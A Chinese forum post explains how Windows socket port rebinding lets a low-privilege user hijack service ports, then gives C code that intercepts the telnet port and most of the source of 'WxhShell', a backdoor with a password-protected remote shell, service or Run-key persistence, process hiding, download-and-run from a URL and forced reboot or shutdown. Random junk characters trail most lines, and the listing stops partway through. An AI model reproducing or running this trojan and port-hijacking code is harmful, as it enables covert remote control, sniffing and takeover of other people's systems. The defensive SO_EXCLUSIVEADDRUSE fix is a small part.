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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m{Xf_rQ w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]V\ g$@  
n!orM5=:O  
  saddr.sin_family = AF_INET; oYm"NDS_.  
$k=rd#3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Du4?n8 o  
*Y>'v%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fkG"72 95A  
L7="!I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !aoO,P#j  
[vJosbU;  
  这意味着什么?意味着可以进行如下的攻击: _\]UA?0  
5Z0x2 jV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w8zQDPVB%  
:{imRa-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ../(gG9  
9K y,oB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h 'CLf]  
XwGJ 8&N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t/c^hTT  
#Z5~a9rO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "lMWSCas  
#jR?C9&!(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9$t@Gmn  
wIPDeC4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VJPPHJ[-  
UcIR0BYa  
  #include ku=q:ry O  
  #include zy5bDL -  
  #include C u5 - w  
  #include    7k3\_BHyb\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ";%1sK  
  int main() $x<-PN  
  { {GY$J<5=  
  WORD wVersionRequested; RAa1KOxZX  
  DWORD ret; -#hl& ^u$  
  WSADATA wsaData; ttxOP  
  BOOL val; hTqJDP"&F  
  SOCKADDR_IN saddr; +%^xz 1m  
  SOCKADDR_IN scaddr; EkPSG&6RZ  
  int err; R``qQ;cc  
  SOCKET s; wjs7K|PK  
  SOCKET sc; p_5+L@%Gb  
  int caddsize; ={d\zjI$  
  HANDLE mt; .4-S|]/d,  
  DWORD tid;   4cL=f  
  wVersionRequested = MAKEWORD( 2, 2 ); JaTW/~ TU  
  err = WSAStartup( wVersionRequested, &wsaData ); S|i //I%_  
  if ( err != 0 ) { JD .z}2+  
  printf("error!WSAStartup failed!\n"); kSrzIq<xre  
  return -1; 5 [*jfOz  
  } Ei!z? sxzx  
  saddr.sin_family = AF_INET; uDUSR+E>  
   \^D`Hvg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AUd}) UR  
=^{+h>#s@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {M5IJt"{4b  
  saddr.sin_port = htons(23); dzap]RpB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^8*.r+7p  
  { P=GM7  
  printf("error!socket failed!\n"); g [K8G  
  return -1; EJsb{$u  
  } ""=Vt]  
  val = TRUE;  #Ki@=*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fNumY|%3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MDZb|1.AT  
  { MiI7s ;  
  printf("error!setsockopt failed!\n"); UHwrssX&3  
  return -1; $$w 1%#F =  
  } NjLd-v"2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^YV[1~O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 < XU]%}o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G#>nOB  
mD:!"h/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h&P[9:LH  
  { D[_2:8  
  ret=GetLastError(); mv_-|N~  
  printf("error!bind failed!\n"); [Pl$=[+  
  return -1; Yp$lc^)c>  
  } c_ i;'  
  listen(s,2); _`_$U MK;  
  while(1) \ U_DTI  
  { _{8boDX#  
  caddsize = sizeof(scaddr); .T2I]d  
  //接受连接请求 \hVFK6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~V5jjx*  
  if(sc!=INVALID_SOCKET) ;F- kE4w  
  { %$U+?lk}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {$JIR}4S  
  if(mt==NULL) >ZT3gp?E  
  { uFgw eOJ  
  printf("Thread Creat Failed!\n"); d #su  
  break; 8^~]Ym:  
  } Cq=c'(cX  
  } Gbhaibk O  
  CloseHandle(mt); ^[6AOz+L  
  } (uE_mEIsv  
  closesocket(s); 4?cg6WJ'6  
  WSACleanup(); i@6 kI C  
  return 0; uQ}kq7gd  
  }   !{+(oDN  
  DWORD WINAPI ClientThread(LPVOID lpParam) -ydT%x  
  { u=5^xpI<D  
  SOCKET ss = (SOCKET)lpParam; ^"I!+Teb  
  SOCKET sc; P]G2gDO  
  unsigned char buf[4096]; W#$rC<Jh]  
  SOCKADDR_IN saddr; 8GX@76o  
  long num; ;iWCV& >w  
  DWORD val; W NCdk$  
  DWORD ret; xE:p)B-]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zB4gnVhus|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i=+ "[h^  
  saddr.sin_family = AF_INET; = 619+[fK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8V@3T/}  
  saddr.sin_port = htons(23); @YRBZ6FH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yd9y8Tq J  
  { I#0$5a},u^  
  printf("error!socket failed!\n"); z\a#"2(G.  
  return -1; (_D#gr{S=  
  } |1EM )zh6  
  val = 100; 5_PD ?lg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KpWQ;3D2  
  { g]S.u8K8m  
  ret = GetLastError(); DY%E&Vd:h  
  return -1; }Q*8QV  
  } -7u4f y{T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -Rmz`yOq}  
  { MCvjdc3:  
  ret = GetLastError(); 3>Yec6Hs  
  return -1; !,]_tw>R  
  } #'8E%4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6<2 7}S  
  { a"}?{  
  printf("error!socket connect failed!\n"); w%htY.-  
  closesocket(sc); {ES3nCL(8  
  closesocket(ss); N:0mjHG  
  return -1; 7yKadM~)  
  } (RQ kwu/  
  while(1) V\A?1   
  { v6FYlKU@8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <X:7$v6T|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '_2~8w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >qOhzbAH{<  
  num = recv(ss,buf,4096,0); z7}@8F  
  if(num>0) /W%{b:  
  send(sc,buf,num,0); %@LVoP!@!  
  else if(num==0) 3.Y/ZWON  
  break; 0@z78h=h  
  num = recv(sc,buf,4096,0); {epsiHK@tK  
  if(num>0) 3AWg43L7  
  send(ss,buf,num,0); n-uoY<;hp  
  else if(num==0) -*3wNGh {  
  break; \'shnzs  
  } w zF"^CJ  
  closesocket(ss); Nt/>RCh  
  closesocket(sc); =OCHV+m  
  return 0 ; +Oo>V~  
  } x.!%'{+ {  
~qRP.bV%f  
#=h~Lr'UH  
========================================================== Q\}5q3  
hW]:CIqk  
下边附上一个代码,,WXhSHELL r@ ]{`qA  
A+AqlM+$i  
========================================================== 94A re<  
U:p<pTnMR  
#include "stdafx.h"  \:Q)Ef  
Y~,N,>nITu  
#include <stdio.h> hl8[A-d(R  
#include <string.h> mI-$4st]  
#include <windows.h> \ qKh9  
#include <winsock2.h> /K1YDq<=  
#include <winsvc.h> E` BL3+kQ  
#include <urlmon.h> ka655O/)&  
#49,7OBU  
#pragma comment (lib, "Ws2_32.lib") JpN+'/  
#pragma comment (lib, "urlmon.lib") 4~DoqT  
N|wI=To  
#define MAX_USER   100 // 最大客户端连接数 YajUdpJi  
#define BUF_SOCK   200 // sock buffer //xxSk  
#define KEY_BUFF   255 // 输入 buffer |?g k%g  
(wkeo{lx  
#define REBOOT     0   // 重启 [+UF]m%W  
#define SHUTDOWN   1   // 关机 |-bAz t  
<a; <|Fm.  
#define DEF_PORT   5000 // 监听端口 h",kA(+P  
><+wHb  
#define REG_LEN     16   // 注册表键长度 S U04q+  
#define SVC_LEN     80   // NT服务名长度 n1X7T0'  
}<m9w\pA  
// 从dll定义API w\!aKeP'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cE'MSB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pwr,rAJ}$j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z^bv)u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Mk5*_  
NvY%sx,  
// wxhshell配置信息 mGb,oj7l  
struct WSCFG { (V 5_q,2  
  int ws_port;         // 监听端口 D}OvD |<-  
  char ws_passstr[REG_LEN]; // 口令 <7-3j{065  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4vC { G.  
  char ws_regname[REG_LEN]; // 注册表键名 gy0l@ 5 N  
  char ws_svcname[REG_LEN]; // 服务名 /3{jeU.k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &c%;Lo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v25]}9/C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w*n@_n={  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {wVj-w=<W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [_q3 02  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,ir(~g+{g  
B*W)e$  
}; k "7l\;N  
RG4T9eZq  
// default Wxhshell configuration Bu$Z+o  
struct WSCFG wscfg={DEF_PORT, S}WQ~e  
    "xuhuanlingzhe", jInI%  
    1, yz.a Z  
    "Wxhshell", 8R0Q-,'  
    "Wxhshell", lcO;3CrJ!  
            "WxhShell Service", k  <SFl  
    "Wrsky Windows CmdShell Service", 8cI<~|4_  
    "Please Input Your Password: ", sF[7pE  
  1, &?59{B. mD  
  "http://www.wrsky.com/wxhshell.exe", :(ni/,~Q  
  "Wxhshell.exe" TL'^@Y7X5  
    }; W~b->F  
u4hC/!  
// 消息定义模块 ;d5d$Np@m&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uf q9+}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ls51U7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l7vU{Fd-h^  
char *msg_ws_ext="\n\rExit."; X!6oviT|m  
char *msg_ws_end="\n\rQuit."; ,X^I]]  
char *msg_ws_boot="\n\rReboot..."; xYSNop3_  
char *msg_ws_poff="\n\rShutdown..."; _=$:<wIE[  
char *msg_ws_down="\n\rSave to "; , !0-;H.Y  
{5`=){  
char *msg_ws_err="\n\rErr!"; DNwqi"  
char *msg_ws_ok="\n\rOK!"; ?Pbh&!  
)/Z% HBn  
char ExeFile[MAX_PATH]; PLoD^3uG)  
int nUser = 0; ]fiAV|'^  
HANDLE handles[MAX_USER]; U}hQVpP#  
int OsIsNt; )a99@`L\P  
T3H\KRe6  
SERVICE_STATUS       serviceStatus; ol#| .a2O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t:$^iUrx  
Ct@OS227x  
// 函数声明 % XvJJ  
int Install(void); 7UnB]-:.  
int Uninstall(void); xQA6!j  
int DownloadFile(char *sURL, SOCKET wsh); zw ,( kv  
int Boot(int flag); KcPI ,.4{  
void HideProc(void); ny++U;qi  
int GetOsVer(void); NRIp@PIF:"  
int Wxhshell(SOCKET wsl); Z @f4=  
void TalkWithClient(void *cs); ,]FcWx \u  
int CmdShell(SOCKET sock); U?/C>g%/PI  
int StartFromService(void); )b\89 F  
int StartWxhshell(LPSTR lpCmdLine); jc0Trs{Jf  
cI #! Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %0&c0vT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u /6b.hDO  
^VL",Nt  
// 数据结构和表定义 k z{_H`5.  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Tp,b (; n  
{ C] dK/~Z#r  
{wscfg.ws_svcname, NTServiceMain}, A4Sb(X|j  
{NULL, NULL} ;;f&aujSHD  
}; 9lU"m_ QT4  
&GKtD)  
// 自我安装 i (qPD_  
int Install(void) sW#OA\i &  
{ (:h#H[F  
  char svExeFile[MAX_PATH]; mto=_|gn  
  HKEY key; { VK   
  strcpy(svExeFile,ExeFile); {>r56 \!F  
glL.CkJ  
// 如果是win9x系统,修改注册表设为自启动 (,P6cWt}"  
if(!OsIsNt) { _-6IB>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5yl[#>qt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I_"Kh BM  
  RegCloseKey(key); 8slOB>2#Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Y+J.8.H   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E!rgR5Bd  
  RegCloseKey(key); JbR;E`8  
  return 0; XSBh+)0Ww  
    } {BI5lvx:  
  } F'Lav?^  
} =CqZ$  
else { e09('SON(  
.).}ffhOL  
// 如果是NT以上系统,安装为系统服务 D^-6=@<3KD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N0mP EF2  
if (schSCManager!=0) #0uD&95<  
{ $-*E   
  SC_HANDLE schService = CreateService  "o{o9.w  
  ( 42B_8SK  
  schSCManager, SI"y&[iw  
  wscfg.ws_svcname, X6Wj,a  
  wscfg.ws_svcdisp, qPH=2k ,H  
  SERVICE_ALL_ACCESS, Kf>]M|G c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UB8TrYra  
  SERVICE_AUTO_START, hW Va4  
  SERVICE_ERROR_NORMAL, \:/~IZdzF  
  svExeFile, HAca'!p  
  NULL, &Cykw$s  
  NULL, _$vAitUe4S  
  NULL, B&},W*p  
  NULL, j t6q8  
  NULL #]vs*Sz  
  ); Ex`!C]sQ  
  if (schService!=0) 3v?R"2\qS  
  { v<u`wnt  
  CloseServiceHandle(schService); |,)=-21&;  
  CloseServiceHandle(schSCManager); 9V/:1I0?&0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^hyY,X  
  strcat(svExeFile,wscfg.ws_svcname); _*1{fvv0{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I[g;p8jr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @b]?Gg  
  RegCloseKey(key); 9vL n#_  
  return 0; V'Z Z4og  
    } 9\J6G8b>|I  
  } 9L+g;Js$4  
  CloseServiceHandle(schSCManager); sgxD5xj}4  
} zQ>|`0&8   
} a`t <R  
*wu:fb2[(  
return 1; W3~xjS"h  
} xp68-&  
*;u'W|"/~  
// 自我卸载 8p0ZIrD%  
int Uninstall(void) G\4*6iw:  
{ l2|[  
  HKEY key; T=~D>2C  
_Yqog/sG  
if(!OsIsNt) { SSH 1Ge5|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @4FG & >kQ  
  RegDeleteValue(key,wscfg.ws_regname); Ro:DAxi @L  
  RegCloseKey(key); #=V[vbTY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RASPOc/]   
  RegDeleteValue(key,wscfg.ws_regname); ]ML(=7z"  
  RegCloseKey(key); M[1!#Q><!  
  return 0; IizPu4|  
  } ^Ee"w7XjD  
} }^a" >$DU  
} =Ul{#R z  
else { >JUOS2  
yZc_PC`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0*{ 2^\  
if (schSCManager!=0) *rH# k?  
{ |9*8u>|RC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }\Ri:&?  
  if (schService!=0) HCIS4}lQ  
  { aFf(m-  
  if(DeleteService(schService)!=0) { Nfo`Q0\[P  
  CloseServiceHandle(schService); G.l ~!;  
  CloseServiceHandle(schSCManager); xk\n F0z  
  return 0; N:% }KAc  
  } Spm7kw  
  CloseServiceHandle(schService); 2zN"*Wkn  
  } ?#]wx H,  
  CloseServiceHandle(schSCManager); vDit&Lh{T  
} tsf)+`vt  
} j.:I{!R#  
-qNun3  
return 1; fnZ?YzLI  
} 2Q81#i'Cm  
F!*tE&Se+  
// 从指定url下载文件 -RKqbfmi=  
int DownloadFile(char *sURL, SOCKET wsh) U_.9H _G  
{ o4F?Rx,L  
  HRESULT hr; 6t!PHA  
char seps[]= "/"; hg Pzx@  
char *token; glI4Jb_[  
char *file; s1kG:h2|$  
char myURL[MAX_PATH]; 6U(M HxY  
char myFILE[MAX_PATH]; qC:QY6g$N  
jBLLx{  
strcpy(myURL,sURL); ve&"x Nz<  
  token=strtok(myURL,seps); bZf}m=C!  
  while(token!=NULL) W^"C|4G}  
  { BH3%dh :9  
    file=token; ;'i>^zX`  
  token=strtok(NULL,seps); J)n^b  
  } 8lZB3p]X  
@F/yc  
GetCurrentDirectory(MAX_PATH,myFILE); "f N=Y$G  
strcat(myFILE, "\\"); qS?uMms7w  
strcat(myFILE, file); `E:&a]ul  
  send(wsh,myFILE,strlen(myFILE),0); /kH 7I  
send(wsh,"...",3,0); e?yrx6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LE]mguvs  
  if(hr==S_OK) Sece#K2J|  
return 0; HY>zgf,0  
else ?Jy /]j5fI  
return 1; 5e|yW0o  
,.,spoV  
} 4qvE2W}&  
ZgI?#e  
// 系统电源模块 efX iZ  
int Boot(int flag) [$e\?c  
{ <; P40jDL  
  HANDLE hToken; PHU$<>  
  TOKEN_PRIVILEGES tkp; #Mm1yXNu  
O]VHX![Y$  
  if(OsIsNt) { .u3Z*+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); peD7X:K\s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :/XWk %  
    tkp.PrivilegeCount = 1; N;mJHr3[F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5v_vv'~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0i4XS*vPv  
if(flag==REBOOT) { F|bg2)|du8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .g?Ppma  
  return 0; 3](At%ss  
} aNDpCpy  
else { vlVHoF;&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) { YMO8  
  return 0; ,vs#(d6G  
} hq*"S -N  
  } ,*m{Q  
  else { PUbfQg  
if(flag==REBOOT) { U%V4@iz~\m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FT[of(g^  
  return 0; Y{7)$'At  
} mPJ@hr%3  
else { s0\}Q=s[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Ohro '   
  return 0; a%*W( 4=Y  
} sa w  
} c@|f'V4  
)zAATBb4.  
return 1; &hu3A)%  
} ,R[<+!RS  
vB Vg/  
// win9x进程隐藏模块 n= A}X4^  
void HideProc(void) ["0DXm%t  
{ iT=h }>  
B+4WnR1%T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )~be<G( a  
  if ( hKernel != NULL ) W4&Itj  
  { I' 'X\/|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vi<6i0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,u S)N6'b6  
    FreeLibrary(hKernel); THy{r_dx  
  } AYsiaSTRqW  
u3C0!{v  
return; o-+H-  
} AB=Wj*f r  
RgSB?  
// 获取操作系统版本 <Gj]XAoe%  
int GetOsVer(void) avy@)iO7  
{ on.m '-s  
  OSVERSIONINFO winfo; [Wn6d:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #3}!Q0   
  GetVersionEx(&winfo); 8SOfX^;o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wxzh'c#\8  
  return 1; v-&@c  
  else F@<^  
  return 0; "sJ@_lp  
} }e-D&U  
ffG1QvC|M  
// 客户端句柄模块 cpu|tK.t  
int Wxhshell(SOCKET wsl) q85 4k+C  
{ b&P2VqYgl  
  SOCKET wsh; F0KNkL>&g  
  struct sockaddr_in client; &I7T ?  
  DWORD myID; g`I$U%a_2  
aC#{@t  
  while(nUser<MAX_USER) ~F13}is  
{ !~`aEF3  
  int nSize=sizeof(client); xG:7AGZ$[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?6_U>d{  
  if(wsh==INVALID_SOCKET) return 1; kb[+II  
'@f#GNRT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UQnv#a>  
if(handles[nUser]==0) >K*TgG6!X  
  closesocket(wsh); rnQ9uNAu  
else o?><(A|  
  nUser++; MZS/o3  
  } [m6%_3zV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;"]?&ri  
TlpQ9T  
  return 0; J~lKN <w  
} lin  
O5dBI_  
// 关闭 socket (d#W3  
void CloseIt(SOCKET wsh) qb KcI+)47  
{ r<pt_Cd  
closesocket(wsh); XL`i9kV?  
nUser--; 4 IXa[xAm  
ExitThread(0); @] 3`S  
} Idr|-s%l6'  
/Y8{?  
// 客户端请求句柄 X;d 1@G  
void TalkWithClient(void *cs) ni-4 ~k  
{ qhOV>j,d  
vjd;*ORB  
  SOCKET wsh=(SOCKET)cs; [Y8ot-6  
  char pwd[SVC_LEN]; m`#UV-$J  
  char cmd[KEY_BUFF]; @pV&{Vp  
char chr[1]; Q#}c5TjVr  
int i,j; 28O3N;a  
T^H`$;\  
  while (nUser < MAX_USER) { 7vEZb.~4z  
%i@Jw  
if(wscfg.ws_passstr) { &NK6U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cLm{gd4 W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `.YMbj#T  
  //ZeroMemory(pwd,KEY_BUFF); ^i6`w_/  
      i=0; \"l/D?+Q  
  while(i<SVC_LEN) { H#B97IGT  
?Bsc;:KF  
  // 设置超时 7jYW3  
  fd_set FdRead; gkld}t*U  
  struct timeval TimeOut; U_Am Riy  
  FD_ZERO(&FdRead); zN>tSdNkI-  
  FD_SET(wsh,&FdRead); H)NT2@%{P  
  TimeOut.tv_sec=8; T@j@IEGH  
  TimeOut.tv_usec=0; hA387?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jl{g"N{2u'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  S/Gy:GIf  
leO..M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ef]60OtP  
  pwd=chr[0]; .h\[7r  
  if(chr[0]==0xd || chr[0]==0xa) { d5 U+]g  
  pwd=0; >?ckBU9  
  break; [-w+ACV~  
  } ~%u;lr  
  i++; *"sDsXo- I  
    } U\UlQ p?  
|oTA $bln  
  // 如果是非法用户,关闭 socket Fo GSCg%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z>O=. Ku6  
} ;1>)p x**  
RyZy2^0<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j/w*2+&v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |v= */e  
_rfGn,@BH  
while(1) { K6e_RzP,.w  
O"f|gc)GLz  
  ZeroMemory(cmd,KEY_BUFF); .{66q#.  
z#t;n  
      // 自动支持客户端 telnet标准   zn/b\X/  
  j=0; PVX23y;  
  while(j<KEY_BUFF) { "oo j;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [:bYd}J  
  cmd[j]=chr[0]; K) {\wV="  
  if(chr[0]==0xa || chr[0]==0xd) { '{:lP"\,L  
  cmd[j]=0; xQ@gh ( (  
  break; SD=9fh0l  
  } w$[ck=  
  j++; .dl4f"k  
    } `Y.Q{5Y  
~"i4"Op&  
  // 下载文件 rT28q .  
  if(strstr(cmd,"http://")) { _U`1BmTC2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UeN+}`!l  
  if(DownloadFile(cmd,wsh)) <#No t1R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GB` G(a  
  else av4g/7=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7N I~47s|v  
  } i")ucrf  
  else { Nt P=m @  
!; COFR  
    switch(cmd[0]) { |(O _K(  
  ahx*Ti/e  
  // 帮助 f)%8*B  
  case '?': { pTIE.:g(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,5/zTLd   
    break; mybvD  
  } ^V;2v? O  
  // 安装 }@avG t;v  
  case 'i': { o%$'-N  
    if(Install()) Bd-@@d.H<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LSW1,}/B  
    else +6+!M_0wA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2JS&zF  
    break; _S;Fs|p_  
    } <R @w0b>  
  // 卸载 <-K'9ut,  
  case 'r': { DW.vu%j^[  
    if(Uninstall()) {G(N vf,K]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V j"B/@  
    else j SXVLyz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y%=t((.Z  
    break; Cz]NSG5  
    } )%=oJ!)  
  // 显示 wxhshell 所在路径 Q R<q[@)F  
  case 'p': { 4l`"P~=2<  
    char svExeFile[MAX_PATH]; 5p`.RWls  
    strcpy(svExeFile,"\n\r"); D_)n\(3  
      strcat(svExeFile,ExeFile); zTQTmO  
        send(wsh,svExeFile,strlen(svExeFile),0); c&n.JV   
    break; '}.Z' %;  
    } !pG_MO  
  // 重启 xcA5  
  case 'b': { xix: = a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Y@B= 5e/  
    if(Boot(REBOOT)) n*vzp?+Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~i&r?,]^  
    else { *mTx0sQz(J  
    closesocket(wsh); 1Wy0#?L  
    ExitThread(0); N)N\iad^  
    } y:+4-1  
    break; f*& 4d  
    } @ob4y  
  // 关机  (zL(  
  case 'd': { }[m,HA<j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tNbZ{=I>  
    if(Boot(SHUTDOWN)) v6q oH)n  
